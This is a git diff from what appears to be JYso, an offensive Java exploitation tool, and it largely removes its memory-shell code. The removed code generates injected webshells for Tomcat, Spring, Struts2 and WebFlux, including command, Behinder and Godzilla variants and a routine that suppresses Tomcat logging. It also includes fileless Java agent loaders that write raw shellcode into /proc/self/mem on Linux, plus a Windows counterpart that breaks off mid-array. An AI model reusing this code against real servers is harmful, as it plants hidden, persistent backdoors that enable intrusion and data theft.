// 为恶意类设置 Runnable 接口以及 RUN 方法
|
||||
CtClass runnableClass = Config.POOL.get("java.lang.Runnable");
|
||||
ctClass.addInterface(runnableClass);
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.RUN), ctClass));
|
||||
|
||||
// 插入关键方法
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.SUO5.SUO5));
|
||||
} else {
|
||||
insertCMD(ctClass);
|
||||
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
|
||||
|
||||
if (isWebflux) {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_WEBFLUX));
|
||||
} else if (isTomcat) {
|
||||
insertTomcatNoLog(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_TOMCAT));
|
||||
} else {
|
||||
insertGetMethodAndInvoke(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 向指定类中写入命令执行方法 execCmd
|
||||
* 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法
|
||||
@@ -218,14 +48,6 @@ public class ClassMethodHandler {
|
||||
}
|
||||
}
|
||||
|
||||
public static void insertBase64Decode(CtClass ctClass) throws Exception {
|
||||
try {
|
||||
ctClass.getDeclaredMethod("base64Decode");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_DECODE_STRING_TO_BYTE), ctClass));
|
||||
}
|
||||
}
|
||||
|
||||
public static void insertGetFieldValue(CtClass ctClass) throws Exception {
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getFieldValue");
|
||||
@@ -260,43 +82,4 @@ public class ClassMethodHandler {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void insertTomcatNoLog(CtClass ctClass) throws Exception {
|
||||
insertGetFieldValue(ctClass);
|
||||
insertGetMethodAndInvoke(ctClass);
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TOMCAT_NO_LOG), ctClass));
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取该类的关键方法
|
||||
*
|
||||
* @param ctClass CtClass
|
||||
* @return 返回方法名
|
||||
* @throws Exception 抛出异常
|
||||
*/
|
||||
public static String getMethodName(CtClass ctClass) throws Exception {
|
||||
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
|
||||
String name = ctClass.getName();
|
||||
String method = "";
|
||||
classes.add(ctClass.getSuperclass());
|
||||
|
||||
for (CtClass value : classes) {
|
||||
String className = value.getName();
|
||||
if (Config.KEY_METHOD_MAP.containsKey(className)) {
|
||||
method = Config.KEY_METHOD_MAP.get(className);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.contains("SpringControllerMS")) {
|
||||
method = "drop";
|
||||
} else if (name.contains("Struts2ActionMS")) {
|
||||
method = "executeAction";
|
||||
}
|
||||
return method;
|
||||
}
|
||||
|
||||
public static void insertInitHookClassINFORMATION(CtClass ctClass, ArrayList<String> list) throws Exception {
|
||||
insertMethod(ctClass, "initHookClassINFORMATION", "{HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(0) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(1) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(2) + "\");}");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
package com.qi4l.JYso.gadgets.utils.handle;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.Config.HookPointConfig;
|
||||
import com.qi4l.JYso.gadgets.Config.MemShellPayloads;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import javassist.CtClass;
|
||||
import javassist.bytecode.*;
|
||||
@@ -25,46 +22,6 @@ public class GlassHandler {
|
||||
|
||||
|
||||
public static CtClass generateClass(String target, String newClassName) throws Exception {
|
||||
if (target.startsWith("EX-")) {
|
||||
target = target.substring(3);
|
||||
|
||||
// 内存马类型
|
||||
String shellType = "";
|
||||
String memShellName;
|
||||
Class<?> memShellClazz;
|
||||
|
||||
// 如果命令以 MS 开头,则代表是注入内存马
|
||||
if (target.startsWith("MS-")) {
|
||||
target = target.substring(3);
|
||||
|
||||
if (target.contains("-")) {
|
||||
String[] commands = target.split("-");
|
||||
memShellName = commands[0];
|
||||
shellType = target.substring(target.indexOf("-") + 1);
|
||||
} else {
|
||||
memShellName = target;
|
||||
shellType = "cmd";
|
||||
}
|
||||
} else if (target.startsWith("Agent")) {
|
||||
// 如果以 Agent 开头,则使用 AgentNoFile 动态进行 JavaAgent 注入
|
||||
// EX-Agent-Lin/Win-Servlet-bx
|
||||
String[] commands = target.split("-");
|
||||
return generateAgentClass(commands[1], commands[2], commands.length > 3 ? commands[3] : "");
|
||||
} else {
|
||||
// 否则是回显类,或者其他功能
|
||||
memShellName = target;
|
||||
}
|
||||
|
||||
String result = ClassNameHandler.searchClassByName(memShellName);
|
||||
if (result != null) {
|
||||
memShellClazz = Class.forName(result, false, Gadgets.class.getClassLoader());
|
||||
} else {
|
||||
throw new IllegalArgumentException("Input Error,Please Check Your MemShell Name!");
|
||||
}
|
||||
|
||||
return generateClass(memShellClazz, shellType, newClassName);
|
||||
}
|
||||
|
||||
// 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名
|
||||
if (target.startsWith("LF-")) {
|
||||
target = target.substring(3);
|
||||
@@ -90,27 +47,12 @@ public class GlassHandler {
|
||||
String exClassName = clazz.getName();
|
||||
ctClass = Config.POOL.get(exClassName);
|
||||
|
||||
// 为 Echo 类添加 CMD_HEADER_STRING
|
||||
ClassFieldHandler.insertFieldIfExists(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + ClassFieldHandler.converString(Config.CMD_HEADER_STRING) + ";");
|
||||
|
||||
// 为 DefineClassFromParameter 添加自定义函数功能
|
||||
ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";");
|
||||
|
||||
// 为内存马添加名称
|
||||
ClassFieldHandler.insertFieldIfExists(ctClass, "NAME", "public static String NAME=" + ClassFieldHandler.converString(ClassNameHandler.getHumanName(newClassName, "Filter")) + ";");
|
||||
|
||||
// 为内存马添加地址
|
||||
ClassFieldHandler.insertFieldIfExists(ctClass, "pattern", "public static String pattern = " + ClassFieldHandler.converString(Config.URL_PATTERN) + ";");
|
||||
|
||||
// 根据不同的内存马类型,插入不同的方法、属性
|
||||
ClassMethodHandler.insertKeyMethodByClassName(ctClass, exClassName, shellType);
|
||||
|
||||
// 为类设置新的类名
|
||||
ctClass.setName(newClassName);
|
||||
|
||||
// 为 Struts2ActionMS 额外处理,防止框架找不到的情况
|
||||
ClassFieldHandler.insertFieldIfExists(ctClass, "thisClass", "public static String thisClass = \"" + Utils.base64Encode(ctClass.toBytecode()) + "\";");
|
||||
|
||||
shrinkBytes(ctClass);
|
||||
byteCodes = ctClass.toBytecode();
|
||||
|
||||
@@ -136,95 +78,6 @@ public class GlassHandler {
|
||||
}
|
||||
|
||||
|
||||
public static CtClass generateAgentClass(String osType, String hookType, String args) throws Exception {
|
||||
CtClass agent = Config.POOL.get(ClassNameHandler.searchClassByName("AgentLoaderTemplate"));
|
||||
|
||||
// 准备 SuURLConnection/SuURLStreamHandler/Javassist Jar 包
|
||||
prepareMemoryJar(agent);
|
||||
|
||||
// 根据选定的不同操作系统类型,准备不同的的 AgentNoFile 类
|
||||
String agentNoFileName = osType.equals("win") ? "AgentNoFileForWindows" : "AgentNoFileForLinux";
|
||||
prepareAgentNoFile(agentNoFileName, agent);
|
||||
|
||||
// 准备要 Hook 的类名、方法、内容
|
||||
prepareClassModifier(agent, hookType, args);
|
||||
|
||||
agent.setName(ClassNameHandler.generateClassName());
|
||||
|
||||
// 保存
|
||||
Utils.saveCtClassToFile(agent);
|
||||
return agent;
|
||||
}
|
||||
|
||||
public static void prepareMemoryJar(CtClass templateClass) throws Exception {
|
||||
// 首先将 SuURLConnection/SuURLStreamHandler 改名
|
||||
final String nameA = ClassNameHandler.searchClassByName("SuURLConnection");
|
||||
final String newNameA = ClassNameHandler.generateClassName();
|
||||
final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler");
|
||||
final String newNameB = ClassNameHandler.generateClassName();
|
||||
CtClass ctClassA = Config.POOL.get(nameA);
|
||||
ctClassA.setName(newNameA);
|
||||
CtClass ctClassB = Config.POOL.get(nameB);
|
||||
ctClassB.setName(newNameB);
|
||||
|
||||
ClassFieldHandler.insertField(ctClassA, "STREAM_HANDLER_CLASSNAME", "public static String STREAM_HANDLER_CLASSNAME = \"" + newNameB + "\";");
|
||||
ClassFieldHandler.insertField(ctClassB, "URL_CONNECTION_CLASSNAME", "public static String URL_CONNECTION_CLASSNAME = \"" + newNameA + "\";");
|
||||
|
||||
shrinkBytes(ctClassA);
|
||||
shrinkBytes(ctClassB);
|
||||
|
||||
ClassFieldHandler.insertField(templateClass, "SU_URL_CONNECTION_BYTES", "public static String SU_URL_CONNECTION_BYTES = \"" + Utils.base64Encode(ctClassA.toBytecode()) + "\";");
|
||||
ClassFieldHandler.insertField(templateClass, "SU_URL_STREAM_HANDLER_BYTES", "public static String SU_URL_STREAM_HANDLER_BYTES = \"" + Utils.base64Encode(ctClassB.toBytecode()) + "\";");
|
||||
}
|
||||
|
||||
public static void prepareAgentNoFile(String className, CtClass templateClass) throws Exception {
|
||||
CtClass agentNoFile = Config.POOL.get(ClassNameHandler.searchClassByName(className));
|
||||
shrinkBytes(agentNoFile);
|
||||
agentNoFile.setName(ClassNameHandler.generateClassName());
|
||||
ClassFieldHandler.insertField(templateClass, "AGENT_NO_FILE_BYTES", "public static String AGENT_NO_FILE_BYTES = \"" + Utils.base64Encode(agentNoFile.toBytecode()) + "\";");
|
||||
}
|
||||
|
||||
|
||||
public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception {
|
||||
CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier"));
|
||||
String shell;
|
||||
|
||||
// 插入 Hook 点
|
||||
if (hookType.equals("Servlet")) {
|
||||
// 插入 Hook Class 基本信息
|
||||
ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.BasicServletHook);
|
||||
} else if (hookType.equals("Filter")) {
|
||||
ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.TomcatFilterChainHook);
|
||||
}
|
||||
|
||||
// 如果是冰蝎逻辑
|
||||
switch (args) {
|
||||
case "bx":
|
||||
shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT);
|
||||
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD);
|
||||
break;
|
||||
case "gz":
|
||||
shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT);
|
||||
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY);
|
||||
break;
|
||||
case "gzraw":
|
||||
shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT);
|
||||
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY);
|
||||
break;
|
||||
default:
|
||||
// 默认 cmd 逻辑
|
||||
shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT);
|
||||
shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING);
|
||||
break;
|
||||
}
|
||||
// 替换密码,添加 Shell Code
|
||||
ClassFieldHandler.insertField(classModifier, "HOOK_METHOD_CODE", "public static String HOOK_METHOD_CODE = \"" + Utils.base64Encode(shell.getBytes()) + "\";");
|
||||
|
||||
shrinkBytes(classModifier);
|
||||
classModifier.setName(ClassNameHandler.generateClassName());
|
||||
ClassFieldHandler.insertField(templateClass, "CLASS_MODIFIER_BYTES", "public static String CLASS_MODIFIER_BYTES = \"" + Utils.base64Encode(classModifier.toBytecode()) + "\";");
|
||||
}
|
||||
|
||||
// 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小
|
||||
public static void shrinkBytes(CtClass ctClass) {
|
||||
ClassFile classFile = ctClass.getClassFile2();
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,259 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.FileReader;
|
||||
import java.io.IOException;
|
||||
import java.io.RandomAccessFile;
|
||||
import java.lang.instrument.ClassDefinition;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
|
||||
public class AgentNoFileForLinux {
|
||||
private static final int SHT_DYNSYM = 11;
|
||||
private static final int STT_FUNC = 2;
|
||||
private static final int STT_GNU_IFUNC = 10;
|
||||
public static Unsafe unsafe = getUnsafe();
|
||||
|
||||
private static int ELF_ST_TYPE(int x) {
|
||||
return (x & 0xf);
|
||||
}
|
||||
|
||||
public static sun.misc.Unsafe getUnsafe() {
|
||||
sun.misc.Unsafe unsafe = null;
|
||||
try {
|
||||
if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) {
|
||||
unsafe = sun.misc.Unsafe.getUnsafe();
|
||||
}
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
|
||||
if (unsafe == null) {
|
||||
try {
|
||||
Class<?> gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
|
||||
java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) field.get(null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
if (unsafe == null) {
|
||||
try {
|
||||
Class<?> nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
|
||||
java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE");
|
||||
field.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) field.get(null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
if (unsafe == null) {
|
||||
try {
|
||||
java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) theUnsafeField.get(null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
return unsafe;
|
||||
}
|
||||
|
||||
public static void redefineClasses(String className, byte[] classBody) throws Exception {
|
||||
// Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
|
||||
// Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
|
||||
// field1.setAccessible(true);
|
||||
// Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
// modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
|
||||
// field1.setBoolean(null, true);
|
||||
|
||||
FileReader fin = new FileReader("/proc/self/maps");
|
||||
BufferedReader reader = new BufferedReader(fin);
|
||||
String line;
|
||||
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
String[] splits = line.trim().split(" ");
|
||||
if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
|
||||
String[] addr_range = splits[0].split("-");
|
||||
long libbase = Long.parseLong(addr_range[0], 16);
|
||||
String elfpath = splits[splits.length - 1];
|
||||
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
|
||||
} else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
|
||||
String[] addr_range = splits[0].split("-");
|
||||
long libbase = Long.parseLong(addr_range[0], 16);
|
||||
String elfpath = splits[splits.length - 1];
|
||||
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
|
||||
}
|
||||
|
||||
if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
|
||||
break;
|
||||
}
|
||||
fin.close();
|
||||
|
||||
//修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv
|
||||
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
|
||||
//RSP 16字节对齐
|
||||
byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0};
|
||||
|
||||
byte[] movabs_rax = {0x48, (byte) 0xb8};
|
||||
ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE);
|
||||
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||
buffer.putLong(0, JNI_GetCreatedJavaVMs);
|
||||
|
||||
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
|
||||
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
|
||||
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
|
||||
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3};
|
||||
|
||||
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
|
||||
long landingpad = RandomAccessFile_length;
|
||||
|
||||
byte[] backup = new byte[shellcode_len];
|
||||
fout.seek(landingpad);
|
||||
fout.read(backup);
|
||||
|
||||
fout.seek(landingpad);
|
||||
fout.write(stack_align);
|
||||
fout.write(movabs_rax);
|
||||
fout.write(buffer.array());
|
||||
fout.write(b);
|
||||
fout.close();
|
||||
|
||||
long native_jvmtienv = fout.length(); //触发执行
|
||||
// System.out.printf("native_jvmtienv %x\n", native_jvmtienv);
|
||||
|
||||
//恢复代码
|
||||
fout = new RandomAccessFile("/proc/self/mem", "rw");
|
||||
fout.seek(RandomAccessFile_length);
|
||||
fout.write(backup);
|
||||
fout.close();
|
||||
|
||||
//libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 )
|
||||
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
|
||||
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
|
||||
long JPLISAgent = unsafe.allocateMemory(0x1000);
|
||||
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
|
||||
|
||||
redefineClasses(className, classBody, JPLISAgent);
|
||||
fout.getFD();
|
||||
|
||||
}
|
||||
|
||||
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
|
||||
long func_ptr = 0;
|
||||
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
|
||||
|
||||
byte[] e_ident = new byte[16];
|
||||
fin.read(e_ident);
|
||||
short e_type = Short.reverseBytes(fin.readShort());
|
||||
short e_machine = Short.reverseBytes(fin.readShort());
|
||||
int e_version = Integer.reverseBytes(fin.readInt());
|
||||
long e_entry = Long.reverseBytes(fin.readLong());
|
||||
long e_phoff = Long.reverseBytes(fin.readLong());
|
||||
long e_shoff = Long.reverseBytes(fin.readLong());
|
||||
int e_flags = Integer.reverseBytes(fin.readInt());
|
||||
short e_ehsize = Short.reverseBytes(fin.readShort());
|
||||
short e_phentsize = Short.reverseBytes(fin.readShort());
|
||||
short e_phnum = Short.reverseBytes(fin.readShort());
|
||||
short e_shentsize = Short.reverseBytes(fin.readShort());
|
||||
short e_shnum = Short.reverseBytes(fin.readShort());
|
||||
short e_shstrndx = Short.reverseBytes(fin.readShort());
|
||||
|
||||
int sh_name = 0;
|
||||
int sh_type = 0;
|
||||
long sh_flags = 0;
|
||||
long sh_addr = 0;
|
||||
long sh_offset = 0;
|
||||
long sh_size = 0;
|
||||
int sh_link = 0;
|
||||
int sh_info = 0;
|
||||
long sh_addralign = 0;
|
||||
long sh_entsize = 0;
|
||||
|
||||
for (int i = 0; i < e_shnum; ++i) {
|
||||
fin.seek(e_shoff + i * 64);
|
||||
sh_name = Integer.reverseBytes(fin.readInt());
|
||||
sh_type = Integer.reverseBytes(fin.readInt());
|
||||
sh_flags = Long.reverseBytes(fin.readLong());
|
||||
sh_addr = Long.reverseBytes(fin.readLong());
|
||||
sh_offset = Long.reverseBytes(fin.readLong());
|
||||
sh_size = Long.reverseBytes(fin.readLong());
|
||||
sh_link = Integer.reverseBytes(fin.readInt());
|
||||
sh_info = Integer.reverseBytes(fin.readInt());
|
||||
sh_addralign = Long.reverseBytes(fin.readLong());
|
||||
sh_entsize = Long.reverseBytes(fin.readLong());
|
||||
if (sh_type == SHT_DYNSYM) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int symtab_shdr_sh_link = sh_link;
|
||||
long symtab_shdr_sh_size = sh_size;
|
||||
long symtab_shdr_sh_entsize = sh_entsize;
|
||||
long symtab_shdr_sh_offset = sh_offset;
|
||||
|
||||
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
|
||||
sh_name = Integer.reverseBytes(fin.readInt());
|
||||
sh_type = Integer.reverseBytes(fin.readInt());
|
||||
sh_flags = Long.reverseBytes(fin.readLong());
|
||||
sh_addr = Long.reverseBytes(fin.readLong());
|
||||
sh_offset = Long.reverseBytes(fin.readLong());
|
||||
sh_size = Long.reverseBytes(fin.readLong());
|
||||
sh_link = Integer.reverseBytes(fin.readInt());
|
||||
sh_info = Integer.reverseBytes(fin.readInt());
|
||||
sh_addralign = Long.reverseBytes(fin.readLong());
|
||||
sh_entsize = Long.reverseBytes(fin.readLong());
|
||||
|
||||
long symstr_shdr_sh_offset = sh_offset;
|
||||
|
||||
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0;
|
||||
for (long i = 0; i < cnt; ++i) {
|
||||
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i);
|
||||
int st_name = Integer.reverseBytes(fin.readInt());
|
||||
byte st_info = fin.readByte();
|
||||
byte st_other = fin.readByte();
|
||||
short st_shndx = Short.reverseBytes(fin.readShort());
|
||||
long st_value = Long.reverseBytes(fin.readLong());
|
||||
long st_size = Long.reverseBytes(fin.readLong());
|
||||
if (st_value == 0
|
||||
|| st_name == 0
|
||||
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
fin.seek(symstr_shdr_sh_offset + st_name);
|
||||
String name = "";
|
||||
byte ch = 0;
|
||||
while ((ch = fin.readByte()) != 0) {
|
||||
name += (char) ch;
|
||||
}
|
||||
|
||||
if (sym.equals(name)) {
|
||||
func_ptr = libbase + st_value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fin.close();
|
||||
return func_ptr;
|
||||
}
|
||||
|
||||
public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) {
|
||||
try {
|
||||
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
|
||||
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
|
||||
constructor.setAccessible(true);
|
||||
Object inst = constructor.newInstance(JPLISAgent, true, false);
|
||||
|
||||
ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody);
|
||||
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class});
|
||||
redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}});
|
||||
} catch (Throwable error) {
|
||||
error.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,151 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.lang.instrument.ClassDefinition;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class AgentNoFileForWindows {
|
||||
public static Map<String, byte[]> MAP = new HashMap<String, byte[]>();
|
||||
|
||||
// public static int pointerLength = Long.SIZE / Byte.SIZE;
|
||||
public static int pointerLength = System.getProperty("os.arch").contains("x86") ? 4 : 8;
|
||||
|
||||
public static Unsafe unsafe = getUnsafe();
|
||||
|
||||
public static sun.misc.Unsafe getUnsafe() {
|
||||
sun.misc.Unsafe unsafe = null;
|
||||
try {
|
||||
if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) {
|
||||
unsafe = sun.misc.Unsafe.getUnsafe();
|
||||
}
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
|
||||
if (unsafe == null) {
|
||||
try {
|
||||
Class<?> gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
|
||||
java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) field.get(null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
if (unsafe == null) {
|
||||
try {
|
||||
Class<?> nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
|
||||
java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE");
|
||||
field.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) field.get(null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
if (unsafe == null) {
|
||||
try {
|
||||
java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) theUnsafeField.get(null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
return unsafe;
|
||||
}
|
||||
|
||||
public static void redefineClasses(String className, byte[] classBody) throws Exception {
|
||||
Class<?> cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
|
||||
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
|
||||
field1.setAccessible(true);
|
||||
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
|
||||
field1.setBoolean(null, true);
|
||||
|
||||
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
|
||||
long JPLISAgent = unsafe.allocateMemory(0x1000);
|
||||
|
||||
byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, 